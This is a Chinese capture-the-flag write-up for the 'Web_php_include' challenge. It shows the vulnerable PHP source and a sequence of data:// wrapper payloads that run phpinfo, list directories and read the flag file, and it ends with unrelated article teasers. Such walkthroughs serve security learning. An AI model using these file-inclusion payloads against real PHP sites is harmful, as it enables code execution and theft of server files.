89,[5]攻防世界 web Web_php_include

news/2025/2/3 2:04:14 标签: php, 开发语言

进入靶场

php"><?php
// 显示当前 PHP 文件的源代码,方便调试或展示代码内容
show_source(__FILE__);

// 从 URL 的查询字符串中获取名为 'hello' 的参数值,并将其输出到页面上
// 例如,当访问的 URL 为 "example.php?hello=world" 时,会输出 "world"
echo $_GET['hello'];

// 从 URL 的查询字符串中获取名为 'page' 的参数值,并将其赋值给变量 $page
// 这个参数通常用于指定要包含的文件
$page = $_GET['page'];

// 使用 while 循环来检查 $page 变量中是否包含 "php://" 字符串
// strstr 函数用于查找字符串中第一次出现指定子字符串的位置,如果找到则返回包含该子字符串及其后续部分的字符串,否则返回 false
while (strstr($page, "php://")) {
    // 如果 $page 中包含 "php://",则使用 str_replace 函数将 "php://" 替换为空字符串
    // 这一步的目的是防止用户通过构造包含 "php://" 的输入来利用 PHP 的伪协议进行攻击
    $page = str_replace("php://", "", $page);
}

// 使用 include 函数包含 $page 变量所指定的文件
// 包含文件后,该文件的内容会被当作当前文件的一部分执行
// 注意:这里需要确保 $page 的值是安全的,否则可能会导致文件包含漏洞
include($page);
?>

 data:// 伪协议

data:// 是 PHP 中的一种伪协议,它允许我们直接将数据作为一个 “虚拟文件” 来处理。使用 data:// 伪协议的基本格式如下:

data://<mime-type>[;charset=<charset>][;base64],<data>
  • <mime-type>:指定数据的 MIME 类型,例如 text/plain 表示纯文本类型。
  • charset:可选参数,用于指定字符编码。
  • base64:可选参数,如果数据是经过 Base64 编码的,则需要指定该参数。
  • <data>:实际的数据内容。

1,

/?page=data://text/plain,<?php phpinfo()?>

  • data://:表示使用 data:// 伪协议。
  • text/plain:指定数据的 MIME 类型为纯文本。
  • ,:作为分隔符,用于分隔 MIME 类型和实际的数据内容。
  • <?php phpinfo()?>:这是实际的数据内容,它是一段 PHP 代码,当这段代码被包含并执行时,会调用 phpinfo() 函数,该函数会输出 PHP 的配置信息,包括 PHP 版本、编译选项、加载的扩展模块等详细信息。

 

2, 

目录路径

php">/?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT']; ?>

$_SERVER['DOCUMENT_ROOT'] 是 PHP 的一个超全局变量,它存储着当前网站的根目录路径。echo 语句会将这个路径输出。

3, 

php">/?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>

 目的是列出 /var/www 目录下的所有文件和子目录信息

4, 

php">/?page=data://text/plain,<?php $a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars($a); ?>
  • $a = file_get_contents('fl4gisisish3r3.php');file_get_contents 是 PHP 的一个函数,用于将整个文件读入一个字符串。这里尝试读取 fl4gisisish3r3.php 文件的内容,并将其赋值给变量 $a
  • echo htmlspecialchars($a);htmlspecialchars 函数将字符串中的特殊字符(如 <>& 等)转换为 HTML 实体,这样可以防止这些特殊字符在 HTML 页面中被错误解析,然后将处理后的字符串输出到页面上。


http://www.niftyadmin.cn/n/5840421.html

相关文章

MATLAB中savefig函数用法

目录 语法 说明 示例 将当前图窗保存到 FIG 文件 将多个图窗保存到 FIG 文件 使用 compact 选项保存图窗 savefig函数的功能是将图窗和内容保存到 FIG 文件。 语法 savefig(filename) savefig(H,filename) savefig(H,filename,compact) 说明 savefig(filename) 将当前…

Unity3D仿星露谷物语开发26之创建场景控制管理器

1、目标 创建场景控制管理器&#xff0c;来加载和卸载场景&#xff0c;以实现场景之间的切换。 2、思路 Fade To Back是黑色的过渡场景&#xff0c;透明度逐渐变为1。 Fade To Transparent To Show Scene&#xff1a;黑色消失的过渡场景&#xff0c;透明度逐渐变为0. 事件触发…

Java小白入门教程:Object

目录 一、定义 二、作用 三、使用场景 四、语法以及示例 1、创建Object类型的对象 2、使用 toString()方法 3、使用 equals()方法 4、使用 hashCode()方法 5、使用 getClass()方法 6、使用 clone()方法 7、使用 finalize()方法 一、定义 在Java中&#xff0c; object…

No.7十六届蓝桥杯备战|单目操作符|getchar|putchar(C++)

单⽬操作符 前⾯介绍的操作符都是双⽬操作符&#xff0c;即有2个操作数。除此之外还有⼀些操作符只有⼀个操作数&#xff0c;被称为单⽬操作符。如 、–、(正)、-(负) 就是单⽬操作符。 和– 是⼀种⾃增的操作符&#xff0c;⼜分为前置和后置&#xff0c;–是⼀种⾃减的操作…

手撕Vision Transformer -- Day1 -- 基础原理

手撕Vision Transformer – Day1 – 基础原理 目录 手撕Vision Transformer -- Day1 -- 基础原理Vision Transformer (ViT) 模型原理1. Vit 网络结构图2. 背景3. 模型架构3.1 图像切块&#xff08;Patch Embedding&#xff09;3.2 添加位置编码&#xff08;Positional Encoding…

【LeetCode 刷题】回溯算法-组合问题

此博客为《代码随想录》二叉树章节的学习笔记&#xff0c;主要内容为回溯算法组合问题相关的题目解析。 文章目录 77. 组合216.组合总和III17.电话号码的字母组合39. 组合总和40. 组合总和 II 77. 组合 题目链接 class Solution:def combinationSum3(self, k: int, n: int) …

todo记事本案例

此案例较为简单&#xff0c;功能需求也比较单一&#xff0c;后续会使用node.jsmysql来进行更加复杂的需求开发的。 主要分为5部分 1、列表渲染 设置好一个数组&#xff0c;使用v-for数组遍历即可 <template> <!-- 主体区域 --> <section id"app&quo…

python-leetcode-二叉搜索树迭代器

173. 二叉搜索树迭代器 - 力扣&#xff08;LeetCode&#xff09; # Definition for a binary tree node. # class TreeNode: # def __init__(self, val0, leftNone, rightNone): # self.val val # self.left left # self.right right class BST…